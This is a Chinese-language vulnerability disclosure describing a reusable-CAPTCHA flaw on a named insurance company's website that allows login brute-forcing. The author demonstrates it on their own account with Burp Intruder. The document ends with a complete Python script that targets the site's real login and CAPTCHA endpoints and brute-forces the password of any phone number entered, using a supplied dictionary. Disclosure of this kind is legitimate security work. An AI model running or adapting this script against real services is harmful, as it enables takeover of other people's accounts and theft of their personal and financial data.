0%

百年人寿保险股份有限公司网站表单验证码绕过

该网站下所有表单提交内的验证码非单次有效验证码

只要不重新刷新加载验证码,则原有验证码一直有效,可进行表单爆破,经过测试发现全站所有验证码均有此类问题,以下截图模拟了一次对手机号为 17********5 的用户(鄙人自己注册的)登录密码的爆破

首先抓到登录的包

之后送到 Intruder,payload 设置为 passWord

然后载入字典,为了不对服务器造成太大压力,鄙人生成了含有 100 个随机密码的字典,其中包含了真正的密码,之后就可以开始爆破了

可以看到验证码形同虚设,最后爆破出真正的密码

不知道后端是怎么处理 session 的验证码的,只要这个 session 没有请求过新的验证码,原验证码会一直有效。

附爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
import re
import json
from PIL import Image

url = 'http://www.aeonlife.com.cn/'
headers = {
'X-Requested-With': 'xmlHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Origin': url,
'Referer': 'http://www.aeonlife.com.cn/member/login.shtml'
}
proxy = {'http': '127.0.0.1:8080'} # for burp
sess = requests.Session()
sess.get(url + 'member/loginin.shtml', headers=headers)

# Get verify code
ret = sess.get(url + 'customerdyn/verify/getverifycode', headers=headers)
with open('verify.png', 'wb') as f:
f.write(ret.content)
print '[+] Get verify code success.'

verify = Image.open('verify.png')
verify.show()
vcode = raw_input('[*] Please input verify code which you get: ')

# Brute login form
success = False
data = {
'validateCode': '',
'mobileNum': '',
'passWord': ''
}
data['mobileNum'] = raw_input('[*] Phone number you want to brute: ')
data['validateCode'] = vcode
dic = raw_input('[*] Dictionary absolute path: ')
with open(dic, 'rb') as f:
for password in f.readlines():
data['passWord'] = password.replace('\n', '').replace('\r', '')
print '[*] Tring password [%s]' % data['passWord']
ret = sess.post(url + 'member/method/loginin.shtml',
headers=headers, data=data)
if json.loads(ret.content)['status'] == '0':
success = True
break
if success is True:
print '[+] Find password [%s] of user [%s]' % (data['passWord'], data['mobileNum'])
else:
print '[-] Password not find.'
print '[*] Done.'